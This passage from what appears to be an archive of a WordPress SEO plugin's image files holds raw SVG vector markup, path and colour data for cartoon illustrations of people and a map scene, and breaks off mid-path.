16.7-64.7 0 0 29.7 66 80 81.6-18.2-6-25-6-25-6s-8.7 21.8-9.1 24c5.2 4.5 7.5 2.4 16.1 12.4 10.7 12.4-1.2 76.2-8.4 76.4-35 1-115.7-50-115.7-90.4 35-9.8 37-21.7 45.4-33.3z"/><path fill="#c48062" d="M295.5 248.8a530 530 0 0 0-6.8-6 129.1 129.1 0 0 1-23-19.5 975 975 0 0 0-38.1-30c-3.6 16.3-9.4 37-13.7 43-6 8.2-8.7 16.5-22.1 24.2a88 88 0 0 0 75.2 39.2c8.7-.4 17.3-8.6 24-18-7.3-7.8-9.7-6.3-14.5-10.4.4-2.3 9-24.1 9-24.1s3 0 10 1.6z"/><path fill="#af8fc1" d="M277.6 272.4c15.7 25.6-8.2 51.8-10.2 47.6-1.4-2.9-56.4-8.8-82.7-58.2 5.8-3.3 2-11-15.5 1C204 297.5 210.4 428 209.4 500h105.7c12-72 .3-203.4-37.5-227.6z"/><path fill="#a46dad" d="M318.5 446.2c10-18.3 2.7-43 14.9-60q-54.6 14.3-108.6 30.6l3.8 3.7a271.6 271.6 0 0 0-6.2 62.3 234.1 234.1 0 0 0 55.2-9c-7.3 7.8-14.8 17.4-22.7 26.2h18c11.8-4.8 23.2-10 33.3-18.5 6.2-5.2 8.4-28.2 12.3-35.3z"/><path fill="#263452" d="M233.9 416.9c0-32.8 4.9-31.4-4-62.3-12-42.5-49.9-86.8-35-109.2a28.3 28.3 0 0 0-19.5 13.8c-15.5 9.8-43.5 28-46.5 34-4.8 9.2-12.5 37-11.8 47.3 2.5 35.5 3.9 70.7 13.7 104.9 5.5 19 4.5 22.6-3.1 38.6-2.5 5.2-5.1 10.6-7.5 16H225c12.4-112.8 9.3-75.5 8.9-83.1zM338.5 444c16.2-25.9 17.1-36-18-112.4-12-25.8-20.6-43-27.4-51.1 0-6.4-11.2-7.3-13.2-18.7l-3.2 9c12.7 38 25.5 70.3 33.4 124.1 5.4 36.6-5.4 44.7-12.1 105.1h31.7c-4.7-15.1-6.7-31.1 8.8-56z"/><path fill="#263452" d="M194.7 420.8C151 460.4 118.5 480.5 89 467c-28.3-12.8-8.4-54-4-78 3.6-20.3 5.7-67.9 26.6-84.5 20-15.8 39.1-28.3 39.1-28.3l14.4 41.8-16.7 75 43.6-14s22.7 23.7 2.8 41.7z"/><path fill="#dda680" d="M351.7 177.8c13.5 25.9-9.2 40.4-13.8 43.5-8.3 5.6-9 7.3-16.9 23.4-8 16.2-26.4 11.3-40.4 1.1-9.5-6.9-33.4-24-38.6-37.4-3.5-9.2-4.3-32.9 3.2-45.5 6.8-11.5-16.1-22.2-14.6-35.5 1.3-10.8 23-68 80.7-47.4 28.9 10.4 46.7 34.3 46.7 56 0 18.9 3.2 22-6.3 41.8z"/><path fill="#534741" d="M336.5 152.3c4.4-1.5 10.9.1 14.3 1.1 3.2.9 7.6 6 7.6 11.4-1.2-.3-6-7.1-8.3-7.6-4.9-1.1-12.3-1.9-12.8-2-.4-.2-.6-2.3-.8-2.9zm-42.7-13.2c5.2 0 13.7 4.3 14.5 4.9 1 1.7-.2 3.3-2.4 3.4-.6 0-8-3-12.3-3.3-12.7-.7-15.6 2.1-24.3 3.8 5.2-5.5 16-8.8 24.5-8.8z"/><path fill="#e5e5e5" d="M305.5 169.1c.3-3.4-4.4-11-6.8-12.2a21.7 21.7 0 0 0-20.8 3c3 5.2 5.6 7.7 8.8 9.3 6.4 3.2 16.6 2.9 18.8 0zm25.4 8.6c-.8-10.2 17.3-15 21-2 .6 3-4.8 4.5-10.8 4.8a17.6 17.6 0 0 1-10.2-2.8z"/><path d="M288.9 152.6c7 0 16.5 7.2 16.3 14.7-2.9-8.1-11.2-10.7-15.1-10.8-8.4-.3-9.6 7.2-17.7.6 6.7 2.7 2-4.5 16.5-4.5zm58.1 13.2c8 1.8 6.3 10.7 9.8 10.8-7.7 4.4-4.5-6.6-11.7-7.3-9.5-1-12.5 2.8-14.3 7.4-.1-7.5 10-12.2 16.1-10.9z"/><path d="M339.5 173c-4 0-6 5.7-3.1 7.4 1.7 1 7.8 1.3 9.4-.4 2.2-1.6.6-7.4-6.3-7z"/><path fill="#dda680" d="M246.3 151.2c-2-6.1-6.4-13.2-14-15.6-4-1.3-5-.5-8.8 1.4-3 1.5-5.6 6.8-6.3 10-3 14.6 4 23.5 14.4 34 3.3 3.5 9 6.5 12.7 3.4 1.6-1.4 2.3-3.7 2.7-5.8a55 55 0 0 0-4.2-34.8"/><path fill="#c48062" d="M221 159.2c-3.4-6.1.6-15.3 6.5-19.2 1-.8 4.6 1.2 5.2 2.3a90.2 90.2 0 0 1 9.3 24.3 16.4 16.4 0 0 1-9.2-.7 4.7 4.7 0 0 1 6-6.7c-2-4.6-2.8-12.6-7.8-12.8-7.2-.3-10 12.8-10 12.8z"/><path d="M287.3 169.6c3.7 3.9 10.3 4.7 13.3 1.7 1.6-2.3-.2-8.7-3-9.4-9.1-2.5-10.5 4-10.3 7.7z"/><path fill="#fff" d="M293.2 164.4c1 .1 3-.4 3.2-1.5s-1.7-2.2-2.6-2.4-2.8.5-3 1.6 1.4 2.1 2.4 2.3z"/><ellipse cx="342.2" cy="172" fill="#fff" rx="2.2" ry="2.5" transform="rotate(-81.4 342.2 172)"/><path fill="#d6608c" d="M320.7 216.7a11.2 11.2 0 0 1-12 11.8c-11.9-.5-23.3-17.2-24.7-19 2.7.3 37.3 7.5 36.7 7.2z"/><path fill="#942f54" d="M309.6 209c2.7.7 2.9 2.5 4.8 2.8 2.3.5 3.8-1.2 5.6-.8 4.4 1.1 2.1 5.4 6.3 6-2.7 1.2-7 .8-10.5-.2-6.3 6-6.7-.6-12.9-1.5-8-1.2-17.2-2.3-22.7-9.2 7 5.8 18.7 0 29.4 2.9z"/><path fill="#c48062" d="M330 200c-.7 11-9 12.1-16.8 3.2-4.9-5.6-7-3.6-10.4-3.2-2.1.3-1.6-4.8-.5-6.7a4 4 0 0 1 5.6-1.3c-2.6 2.2-4 1.3-4 3.7s6.9-1.2 10 6.1c.7 1.7 12.5 7 13.8-.4 4-22.9-11-32 2.2-43.2-5.2 6.8 1.8 16.6.1 41.8zm-52.2 2c-2.2 2.5-4.3-1-5.6 9.4 1.7.3-2.6-10.7 3-14.6 14.3 3.9 17.7-4.7 27.6-4.8-5.6 2.6-15.1 14.7-25 10z"/><path fill="#c48062" d="M329.7 201a10 10 0 0 0 5 7.2 15.5 15.5 0 0 0 9 1.8 42.4 42.4 0 0 1-7.4 7.6 7 7 0 0 0 2-4.4 9.4 9.4 0 0 1-7.3.2 5.5 5.5 0 0 1-2.6-1.9c-1.1-1.6-.8-3.7-.5-5.6l.5-3.2M298 176c-7.7.9-16.1-.6-21.6-6.1a94.8 94.8 0 0 0 16.8 4 3.3 3.3 0 0 0 2.3-.3l-1.3-1.3c2.2 2.2 6.8.1 9.2.1-.7 2.6-3 3.4-5.4 3.7zm32.3 1.7c5.6 4.3 13.3 4.6 20.2 3.4a8 8 0 0 0-4.9 3c4 3.2-5 1.5-6.2 1a21.7 21.7 0 0 1-9-7.4z"/><path fill="#c48062" d="M278.6 170.2c-.8-1.6-3-2-4.7-2a34.7 34.7 0 0 0-6.8.6c-.3-.5.4-.9.9-1a38.5 38.5 0 0 1 7.3-1 58.9 58.9 0 0 0-15.2-5.3 32.6 32.6 0 0 1 9 1.5 13.6 13.6 0 0 1 7.3 5.4l1.2.4"/><path fill="#b3b3b3" d="M326.5 76.6c29.6 7.7 43.9 40 43 46.5-42.2-43-69.6-25.7-69.7-25.8-10.5-7.7-20.7-19.8-44-19 18.1-14.6 52.3-6.5 70.7-1.7z"/><path fill="#b3b3b3" d="M257.5 282.5c-2.5-.7-16.3-21.5-16.3-21.5s6.4 18.8 5.2 18.5c-2.2-.6-11.5-.5-20-5.6-3.8-4.3-8-30.2-8-30.2s-1 22.6.5 27.3c-24.7-8.2-44.6-18.5-62.1-42 1.4-35.4 30.7-136.3 98.2-151 30.1-6.5 37 3.6 49 19.1-14.1 18.3-99.9 88-46.5 185.4z"/><path fill="#998675" d="M188.6 139.2a224 224 0 0 0-19 52.8l19.5-38a143.4 143.4 0 0 0-10.3 43.4c7.5-21.8 15.6-44.4 32.2-60.2a148 148 0 0 0-24 68.5 123.3 123.3 0 0 1 23.1-46.2 95.2 95.2 0 0 0-8.3 49.5 156.8 156.8 0 0 1 18-54.5 95.3 95.3 0 0 1 21.7-37 123.3 123.3 0 0 0-36.7 36.5 148 148 0 0 1 44.7-57.3c-20.8 9.7-35.7 28.6-49.7 46.8a143.4 143.4 0 0 1 23.5-37.8l-30.5 29.8c8.5-14 14.8-29.6 29.1-40-1.9 1-4 2-6 3.2a162.3 162.3 0 0 0-37 51.5 83.1 83.1 0 0 1 9.7-11z"/><path fill="#998675" d="M235.6 173.3a209.6 209.6 0 0 1 17.8-45.5 161.6 161.6 0 0 0-26 41.2 153.7 153.7 0 0 1 29.6-57.3 156.8 156.8 0 0 0-37 46 153.7 153.7 0 0 0-6.9 55 161.5 161.5 0 0 1 11.6-47.2 209.6 209.6 0 0 0-2.4 48.7 149.3 149.3 0 0 1 19-59.9 116.9 116.9 0 0 0-9.8 67.9 142.4 142.4 0 0 1 12.7-52.4 126.8 126.8 0 0 0-5.8 57.3 107.3 107.3 0 0 1 5.3-36.4 144 144 0 0 1 15.2-37c3.8-14.3 8.5-25.6 13.8-31.1a149.3 149.3 0 0 0-37 50.7z"/><path fill="#534741" d="M238.4 227a126.8 126.8 0 0 1 5.8-57.2 142.4 142.4 0 0 0-12.7 52.4 116.9 116.9 0 0 1 9.8-67.9 149.3 149.3 0 0 0-19 59.9 209.6 209.6 0 0 1 2.4-48.7 161.5 161.5 0 0 0-11.5 47.3 153.7 153.7 0 0 1 6.8-55.1q1.4-4.4 3-8.7l-3.2 5.5a156.8 156.8 0 0 0-18 54.5 95.2 95.2 0 0 1 8.3-49.5 123.3 123.3 0 0 0-23.2 46.2 148 148 0 0 1 24.1-68.5c-16.6 15.9-24.6 38.4-32.2 60.2a143.4 143.4 0 0 1 10.3-43.4l-19.5 38c3.6-16 10.4-36.7 19-52.8a83.1 83.1 0 0 0-9.7 11 227.9 227.9 0 0 0-22.1 78.9c17.5 23.4 37.4 33.7 62.1 41.9-1.4-4.7-.4-27.3-.4-27.3s4 25.9 7.8 30.2c8.6 5.1 18 5 20.1 5.6 1.2.3-5.2-18.5-5.2-18.5s13.8 20.8 16.3 21.5c-18.8-34.4-20.3-65.3-13.8-91.8a107.3 107.3 0 0 0-5.3 36.4z"/><path fill="#ccc" d="M367 104.2c12.6 14.9 0 69.7 18.9 69.7-6 3.5-13.8 7-19-6 1 13.8 4.4 14.7 20.7 22.4-12 6-20.8 2.2-22.4-1.7 2.4 6.2 0 8.6 8.6 15.5-49-6 3.5-116.3-67.2-108.7 5.2-1 29.8-27.2 60.3 8.8zM253.2 252.3c-25.8-67.2 3-131.3 51-155.5 0 .2-55 59.8-51 155.5z"/><path fill="#5e4e6d" d="M167.8 331.7a209 209 0 0 1 50.5 9.1q-27.3-4.1-55-5.9c-1.7-22.8 7.5-67.3 12.4-75-6 23.4-8.3 47.5-8 71.8zM319.9 318a308 308 0 0 0-26.2-37c7.1 11.8 13.5 22.9 20.6 34.6a134.3 134.3 0 0 0-11.4 18.3 175.3 175.3 0 0 1 17-15.8zm-141.3 63.8l-14.9 6a589.5 589.5 0 0 0-37.8 16.4c-7 3.4-14 7.2-19.1 13-4.1 4.6-7 10.2-9.6 15.7l1.2-14.2a12.1 12.1 0 0 1 1.2-5c1.3-2.3 4.1-3.5 6.7-4.5q34.3-13.3 69.2-25.2m-82.9 14.5c1.9-1.8 4.3-3.6 6.8-2.9a8 8 0 0 1 2.4 1.5 74.5 74.5 0 0 0 9 5.6c-3.5 4.1-14.4-2-18.2-4.2z"/><path fill="#99978b" d="M199.3 482.2c3.5-49.9 11.4-98.6 37.9-136.8l27.6 5c-15.5 36.5-28.8 71.4-32 98.2zm69.1-13.6c3-30 2-78.4 16.3-116.3 0 0 20.7-4.3 19.8-1.8s-16.5 93-16.5 93zm62.8-106.9c0 3.5-11.5 98-11.5 98s20.1-17.8 24.5-20.4c2.2-1.4 10.3-79.3 10.3-79.3z"/><path fill="#b3afa0" d="M233 448.7c1.8 4.4 35.4 19 35.4 19 3.7-30.1 4-79.1 18-117.2l-28.4-1.7a494.5 494.5 0 0 0-25 100zm87 10.3l-31.8-15.4 12.9-94 31.9 2.7zm54.3-9.4c-6-2.6-31-10.3-31-10.3l13-79.3 30 5.2z"/><path fill="#a8cb5f" d="M253.7 364.3c16.4 12 67.2 38 85.3 64.6-2 3 47.4-41.3 47.4-41.3-40.7-31.5-83.4-51.4-129.2-53.4-12.7 3-19.7 7.6-21.6 13.8z"/><path fill="#8aad41" d="M386.4 387.6l66.3 31.9c-31.6-39.7-96.6-69.2-166-81.2 47 18.3 88 37.2 99.7 49.3z"/><path fill="#a8cb5f" d="M287.3 338.5c73.5 16 129.1 38.2 165.4 81L500 382v-17c-67.6-24.1-150.1-38.5-212.7-26.4z"/><path fill="#a8cb5f" d="M338.4 336.2c57.7 6.3 109.9 11.4 161.6 28.8v-36.8c-54-4.4-107.2-.7-161.6 8z"/><path fill="#8aad41" d="M357.7 335.7q-10.3-1-20.4-1.5l20.4 1.5zm0 0a708.4 708.4 0 0 1 142.3 31v-7.3a793.3 793.3 0 0 0-142.3-23.7z"/><path fill="#ccc" d="M462.6 349.9l-37.5-3.5 8.9 2.6 39.4 3.3-10.8-2.4z"/><path fill="#f2f2f2" d="M480.3 361.3l-7-1.7-21.3 15.8-26.9-12.2 9-14-8.1-2.5-16.3 23.5-17.5-11.7 2.8-18.3-7.1-.6-1.7 14.8-28.3-19-9.9-.4 15.3 11.4-27.3 4.8 11.6 3.4 22.4-2.8-2-2 36.9 27.3-1.3 1.9 7.3 4.5 10.2-14.9 57.9 28.9 6-3.9-26.5-14.8z"/><path fill="#ccc" d="M411.6 383.7l-8.2-4.7-54.7-14 10.5 5.4 52.4 13.3z"/><path fill="#5ab5a4" d="M284.3 367l-.5-1.7a33 33 0 0 1-5.2 1.8zm-3.4-12.3l-4.4-15.4-22-2.1 4.6 18a148.4 148.4 0 0 0 21.8-.5z"/><path fill="#8aad41" d="M259.1 355.1l-4.5-.3-.5 8.2 7.5 6.3a85.2 85.2 0 0 0 17-2.2l-16.3.7zm21.8-.4l3 10.6a20 20 0 0 0 2.9-1.6l-2.3-9.5-3.6.5z"/><path fill="#328d7c" d="M259.1 355.1l3.2 12.7 16.3-.7a33 33 0 0 0 5.2-1.8l-3-10.6a148.4 148.4 0 0 1-21.7.4z"/><path fill="#f2f2f2" d="M339.3 374.4l19.5-4s-6.2-3.7-10.6-5.6l-41.4 9.3-11.3-3.1-3.2-13.2 23-2.5 4.2-3.6-5.8-2.2-3.3 2.6-19.6.1c1.7 5.3-.3 9-4 11.5l1.7 7.4-21.4 1 8.6 6h28l-.5 18.1 6.8 5 1-21 21-4.3 9.7 14a479.1 479.1 0 0 1-24.2 17.2l6.8 5.8 22.7-15.3c3.9 5.7 10 15.4 10 15.4l5.5-4.3z"/><path fill="#f2f2f2" d="M287.3 338.5l-6.9-1.7 4.1 17.4a21.7 21.7 0 0 0 6.3-2l-3.5-13.7z"/><path fill="#ccc" d="M290.8 352.2a21.7 21.7 0 0 1-6.3 2l2.3 9.5c3.7-2.5 5.7-6.2 4-11.5z"/><path fill="#f2f2f2" d="M487.2 339.5l12.8-10.9-9-.5-6 4.8-85.6-.9 7.6-3.4h-6.4l-24.4 8.8 8.7.9 7.4-3 84 4.3-13.5 10.3 10 2.4 8.4-7.7 18.8-2V338z"/><path fill="#ccc" d="M308.8 343.5l-16.2-2.9 7.3 3.2 17.3 2-6-2.4-2.4.1z"/><path fill="#f2f2f2" d="M344.6 334.6l-7.3-.4-26.5 9 6.2 2.4 8.2-3.2z"/><path fill="#ccc" d="M384.6 373.8a794.1 794.1 0 0 0-74.5-29.3h-3.8a1739 1739 0 0 1 66 26.7z"/><path fill="#ccc" d="M336 351.2h-9l8.2 3.9c2.7-.9 7-.9 12.3-.5zm61.8 28.4l5 16.2-7-4-3.8-13.7z"/><path fill="#5ab5a4" d="M423.1 372.6l-8 13.3 31.1 26.2 18-21.3z"/><path fill="#328d7c" d="M446.2 412.1c-13.2-6-26.5-12-34-14.4l-9.5-14.1c5 1.7 8.3 1.7 13 2.5zm-3.8-61.1l30.8 3 10.5 3h-15.5l-25.8-6z"/><path fill="#5ab5a4" d="M438.9 350.3l-8 11.4 20.1 8.6 17.2-12.7-29.3-7.3zm26.1 27.2l17 7.8 18-10v-8.8l-14.3-4.8-20.7 15.8zm-56.2-11.7c-.7-.2-14.3-8.2-14.3-8.2l3.3-16.3 24.1 4.5z"/><path fill="#328d7c" d="M431.2 345.4l-9.3.4-24.1-4.5 8.8.2 24.6 3.9z"/><path fill="#5ab5a4" d="M383.6 349.9L362.2 336l22.7 2.2zm-12.7 5.4l-17.7 1.3 43.2 18.3-25.5-19.6zm-52.2-9.4l13.8 4.1 21.6-5.5-9.1-6.5-26.3 7.9zm2.9 6.5l-3.1 4.2-20 3.8v6.9l8.2 3.1 37.9-7.7-23-10.3zm40.2 19.5l-17.2 4.1 6.4 7.3 22-5.2-11.2-6.2zm13.8 7.7l-21.5 7.1 8.6 12.9 21.7-13.1-8.8-6.9zm-46.1.2l-14.6 3.9 1.3 11.2 9 2.2 4.3-4.3v-13zm-30.1 1.3l-.2 12.7-17.5-11.7 17.7-1zm184.3-28.8l3.9-5.6 11.6-.9-2.6 10.3-12.9-3.8zm-17.2-11.1l-8.6 7.2-36.6-6 3-3.1 42.2 1.9zM320 337.6l-12.9 4.8-15.5-3.2 28.4-1.6z"/><path fill="#328d7c" d="M390.9 380.3l-15.1-.7 8.8 6.7 7.8 1.3-1.5-7.3zm-46.6-24.4l8.9.7 43.2 18.6-9.9-2.1-42.2-17.2z"/><path fill="#5ab5a4" d="M319.3 347.1l9.1 3.3 4.1-.4-13.8-4.1.6 1.2z"/><path fill="#328d7c" d="M352.3 363.7l-7.7-1-23-10.3 3.9.6 26.8 10.7zm132.8-1.8l14.9 4.7V362a458 458 0 0 0-14.9 0z"/><path fill="#5ab5a4" d="M487.2 327.7l-3.8 4-19.5-.3-1.9-5.1 25.2 1.4z"/><path fill="#dda680" d="M479.9 319a54 54 0 0 0-13.4-7.5c-10.3-3.9-14.9-4.6-25.4-1.4-7.5 2.4-1.2 10.2-19.8 17.4 7.3-.4 13.7-1.5 20.4-.5-1 3.5 3.3 7.2 7.6 9.8 5.4 3 9.1 2.8 10.5 1.5 3-3 1.3-7.5-1.3-10.8a239.2 239.2 0 0 1 41.5 1v-1.3c-4-.9-8-1.5-11.6-3.3a41.7 41.7 0 0 1-8.5-4.9z"/><path fill="#c48062" d="M458 327.5c1-6-2.6-6.7-5-12.3 2.6 2.6 10.5 1.1 11.1 4.7 4.1 1.6 6.3 1.1 9-1.3-1 2.2-.1 4.5-3.2 5.2 3.8.5 14 2 17.3 4l-29.2-.3z"/><path fill="#5ab5a4" d="M344.6 403.5l-18.1 11.1 12.5 14.3 13.8-11.7-8.2-13.7zm-51-62.1l1.2 8 16.9-1-18.1-7z"/><path fill="#328d7c" d="M382.7 378.5l-9.7-.4-10.5-6.2 20.2 6.6z"/><path fill="#ccc" d="M495.2 357.6h-.2l-1.5-.7-20 2.8 6.8 1.6 16.3-1.4 3.4 1.1v-1.8l-4.8-1.6z"/><path fill="#f2f2f2" d="M493.5 356.9l6.5 2.3v-1l-3.4-1.1-3.1-.2z"/><path fill="#f59c00" d="M408.7 235.9c-18.7 0-30.6 9.8-30.7 28.2-.1 21.8 29.2 78.6 29.2 78.6.6-2.2 31-55.1 31.4-77.4.2-16.2-14-29.4-29.9-29.4zm.2 40.4a12 12 0 1 1 12-12 12 12 0 0 1-12 12z"/><path fill="#dda680" d="M188.4 379.1c22.2-9.6 25.2-14 31.2-23.8 6.6-10.9 13.4-10.4 24.8-10.4 9 0 13.9 4 25.4 5.1 14.2 1.5 3 3.3 23.8.3 1.4-.2 5.4 7.9-8.2 12.6a40.8 40.8 0 0 1-27.7-.5c.7 4.8 8.2 9.6 8.2 9.6l28.8 17.5s-11-1.4-29.8.1c-25 4.5-30.9 25-57.3 15.2-8 4.3-17.8 7.5-23 4.8-11.7-6.1-14-22.7 3.8-30.5z"/><path fill="#c48062" d="M206.7 404.1c-1.1.5-19.2-4.8-14.3-15.7-5.9 6.4-3.2 11 2.1 15.2l-10 5.6c5.8 3.4 19.6-1.9 23.8-4zm65.6-23.8c1.8 4.7-.6 7.6-7.4 9.3a104 104 0 0 0 30.3 0c-1.9-.4-26.6-16.4-32.3-19.7 3 3 7.8 6.3 9.4 10.4zm-38.4-33.1c.8-.5 18 2.7 18.1 2.7 2.2 1 6.3 14.7 7.5 16.7-8.5-14.1-9.2-15.4-25.6-19.4z"/><path fill="#c48062" d="M255.4 387c-2.6-1.3-25.3-15.5-23.7-25.6-5.5 13.2 25.7 33.7-4 31.4 7.5 9-3.2 9-8.4 7.1 2.7 14.3-15.3 3.1-16 3.6 2.9 1.8 15 3.8 17.4 4.8 16.3 4 18.7-.2 19.5-1.9 7.9 1.5 18.1-3.5 11-6.8 7 3.5 16.6-1.9 17.2-2.5 1.2-1.6.5-4.6-1.4-7.2a24.3 24.3 0 0 1-11.6-3z"/><path fill="#942f54" d="M449 329.4c.2 2.4-3 1.1 2.2 6 2 2 4.4-.8 8.3.5 2 .7-.5-4.5-1.4-6.5a24 24 0 0 0-9 0zm-167.7 23.2c1.6 2 4.7 2.3 7.2 1.4s4.4-2.7 6.3-4.6a92.6 92.6 0 0 0-14 3.2"/></svg>wordpress-seo/images/succes_marieke_bubble_optm.svg000064400000015722147510273100016711 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 360" focusable="false"><circle cx="226" cy="211" r="149" fill="#f0ecf0"/><path d="M173.53 189.38s-35.47-5.3-41.78-11c-9.39-24.93-29.61-48-35.47-66.21-.71-2.24 3.72-11.39 3.53-15.41s-5.34-11.64-5.23-14-.09-15.27-.09-15.27l-4.75-.72s-5.13 6.07-3.56 9.87c-1.73-4.19 4.3 7.93.5 9.35 0 0-6-5.94-11.76-8.27s-19.57-3.65-19.57-3.65L43.19 73l-4.42.6L31 69.7l-2.85 5.12 7.53 5.29L40.86 92l17.19 10.2 10.2 10.56 9.86 3.56s26.49 79.67 45 92c17 11.33 37.23 15.92 37.23 15.92z" fill="#fbd2a6"/><path d="M270.52 345.13c2.76-14.59 15.94-35.73 30.24-54.58 16.22-21.39 14-79.66-33.19-91.46-17.3-4.32-52.25-1-59.85-3.41C186.54 189 170 187 168 190.17c-5 10.51-7.73 27.81-5.51 36.26 1.18 4.73 3.54 5.91 20.49 13.4-5.12 15-16.35 26.3-22.86 37s7.88 27.2 7.1 33.51c-.48 3.8-4.26 21.13-7.18 34.25a149.47 149.47 0 0 0 110.3 8.66 25.66 25.66 0 0 1 .18-8.12z" fill="#a4286a"/><path d="M206.76 66.43c-5 14.4-1.42 25.67-3.93 40.74-10 60.34-24.08 43.92-31.44 93.6 7.24-14.19 14.32-15.82 20.63-23.11-.83 3.09-10.25 13.75-8.05 34.81 9.85-8.51 6.35-8.75 11.86-8.54.36 3.25 3.53 3.22-3.59 10.53 2.52.69 17.42-14.32 20.16-12.66s0 5.72-6 7.76c2.15 2.2 30.47-3.87 43.81-14.71 4.93-4 10-13.16 13.38-18.2 7.17-10.62 12.38-24.77 17.71-36.6 8.94-19.87 15.09-39.34 16.11-61.31.53-10.44-3.41-18.44-4.41-28.86-2.57-27.8-67.63-37.26-86.24 16.55z" fill="#9a5815"/><path d="M277.74 179.06c.62-.79 1.24-1.59 1.84-2.39-.85 2.59-1.52 3.73-1.84 2.39z" fill="#efb17c"/><path d="M216.1 206.72c3.69-5.42 8.28-3.35 15.57-8.28 3.76-3.06 1.57-9.46 1.77-11.82 18.25 4.56 37.38-1.18 49.07-16 .62 5.16-2.77 22.27-.2 27 4.73 8.67 13.4 18.92 13.4 18.92-35.47-2.76-63.45 39-89.86 44.54 5.52-28.74-2.36-35.84 10.25-54.36z" fill="#fbd2a6"/><path d="M235.21 167.9l53.21-25.23s-3.65 24-6.5 32.72c-64.05 62.66-46.47-7.33-46.71-7.49z" fill="#f6b488"/><path d="M226.86 50.64C215 59.31 206.37 93.21 204 95.57c-19.46 19.47-3.59 41.39-3.94 51.24-.2 5.52-4.14 25.42 5.72 29.36 22.22 8.89 60-3.48 67.19-12.61 13.28-16.75 40.89-94.78 17.74-108.19-7.92-4.58-42.78-20.18-63.85-4.73z" fill="#fbd2a6"/><path d="M243.69 143.66c-10.7-6.16-8.56-6.73-19.76-12.71-3.86-2.07-3.94.64-6.32 0-2.91-.79-1.39-2.74-5.37-3.48-6.52-1.21-3.67 3.63-3.15 6 1.32 6.15-8.17 17.3 3.26 21.42 12.65 4.55 21.38-9.41 31.34-11.23z" fill="#e5766c"/><path d="M240.68 143.9c-11.49-5.53-11.65-8.17-24.64-11.69-8.6-2.32-5.53 1-5.69 4.42-.2 4.16-1.26 9.87 4.9 12.66 9 4.09 18.16-6.02 25.43-5.39zm.7-40.9c-.16 1.26-.06 4.9 5.46 8.25 11.43-4.73 16.36-2.56 17-3.33 1.48-1.76-2-8.87-7.88-9.85-5.58-.94-14.14 1.24-14.58 4.93z" fill="#fff"/><path d="M263.53 108.19c-4.32-4.33-6.85-6.24-12.26-8.21-2.77-1-6.18.18-8.65 1.67a3.65 3.65 0 0 0-1.24 1.23h-.12a3.73 3.73 0 0 1 1-1.52 12.53 12.53 0 0 1 11.93-3c4.73 1 9.43 4.63 9.42 9.82z" fill="#000001"/><circle cx="254.13" cy="104.05" r="4.19" fill="#000001"/><path d="M225.26 99.22c-.29 1-6.6 3.45-10.92 1.48-1.15-3.24-5-6.43-5.25-6.71-.5-2.86 5.55-8 10.06-6.3a10.21 10.21 0 0 1 6.11 11.53z" fill="#fff"/><path d="M209.29 94.21c-.19-2.34 1.84-4.1 3.65-5.2 7-3.87 13.18 3 12.43 10h-.12c-.14-4-2.38-8.44-6.47-9.11a3.19 3.19 0 0 0-2.42.31c-1.37.85-2.38 2-3.89 2.56-1 .45-1.92.42-3 1.4h-.22z" fill="#000001"/><circle cx="219.55" cy="95.28" r="4" fill="#000001"/><path d="M218.66 120.27a27.32 27.32 0 0 0 4.54 3.45c-2.29-.72-4.28-.69-6.32-2.27-2.53-2-3.39-5.16-.73-7.72 10.24-9.82 12.56-13.82 14.77-24.42-1 12.37-6 17.77-10.63 23.18-2.53 2.97-4.68 5.06-1.63 7.78z" fill="#efb17c"/><path d="M231.22 69.91c-.67-3.41-8.78-2.83-11.06-1.93-3.48 1.39-6.08 5.22-7.13 8.53 2.9-4.3 6.74-8.12 12.46-6 1.16.42 3.18 2.35 4.48 1.85s1.03-2.2 1.25-2.45zm32.16 8.56c-2.75-1.66-12.24-5.08-12.18.82 2.56.24 5-.19 7.64.95 11.22 4.76 12.77 17.61 12.85 17.86.2-.53.1 1.26.23.7-.02.2.95-12.12-8.54-20.33z" fill="#a57c52"/><path d="M53.43 250.73c6.29 0-.6-.17 7.34 0 1.89.05-2.38-.7 0-.69 4.54-4.2 12.48-.74 20.6-2.45 4.55.35 3.93 1.35 5.59 4.19 4.89 8.38 4.78 14.21 14 19.56 16.42 8.38 66 12.92 88.49 18.86 5.52.83 42.64-20.15 61-23.75 6.51 10.74 11.46 28.68 8.39 34.93-6.54 13.3-57.07 25.4-75.91 25.15C156.47 326.18 94 294 92.2 293c-.94-.57.7-.7-7.68 0s-10.15.72-17.47-1.4c-3-.87-4.61-1.33-6.33-3.54-2 .22-3.39.2-4.78-1-3.15-2.74-4.84-6.61-2.73-10.06h-.12c-3.35-2.48-6.54-7.69-3.08-11.72 1-1.18 6.06-1.94 7.77-2.28-1.58-.29-6.37.19-7.49-.72-3.06-2.5-4.96-11.55 3.14-11.55z" fill="#fbd2a6"/><path d="M303.22 237.52c-9.87-11.88-41.59 8.19-47.8 12.34s-14.89 17.95-14.89 17.95c6 9.43 8.36 31 5.65 46.34l30.51-3s18-15.62 22.59-28.7 6.3-42.54 6.3-42.54" fill="#a4286a"/><path d="M278.63 31.67c-6.08 0-22.91 4.07-22.93 12.91 0 11 47.9 38.38 16.14 85.85 10.21-.79 10.79-8.12 14.92-14.93-3.66 77-49.38 93.58-40.51 142.25 7.68-25.81 20.3-11.62 38.13-33.84 3.45 4.88 9 18.28-9.46 33.78 50-31.26 57.31-56.6 51.92-95C319.93 113.53 348.7 42 278.63 31.67z" fill="#cb9833"/><path d="M283.64 126.83c-2.42 9.67-8 15.76-1.48 16.46A21.26 21.26 0 0 0 302 132.6c5.17-8.52 3.93-16.44-2.46-18s-13.48 2.56-15.9 12.23z" fill="#fbd2a6"/><path d="M38 73.45c1.92 2 4.25 9.21 6.32 10.91 2.25 1.85 5.71 2.12 8.1 4.45 3.66-2 6-8.72 10-9.31-2.59 1.31-4.42 3.5-6.93 4.88-1.42.8-3 1.31-4.38 2.25-2.16-1.46-4.27-1.77-6.26-3.38-2.52-2.02-5.31-8-6.85-9.8z" fill="#efb17c"/><path d="M39 74.4c4.83 1.1 12.52 6.44 15.89 10-3.22-1.34-14.73-6.15-15.89-10zm.62-1.5c6.71-.79 18 1.54 23.29 5.9-3.85-.2-5.42-1.48-9-2.94-4.08-1.69-8.83-2.03-14.29-2.96zm46.43 14.58c-3.72-1.32-10.52-1.13-13.22 3.52 2-1.16 1.84-2.11 4.18-1.72-3.81-4.15 8.16-.74 11.6-.24m-2.78 13.15c.56-3.29-8-7.81-10.58-9.17-6.25-3.29-12.16 1.36-19.33-4.53 5.94 6.1 14.23 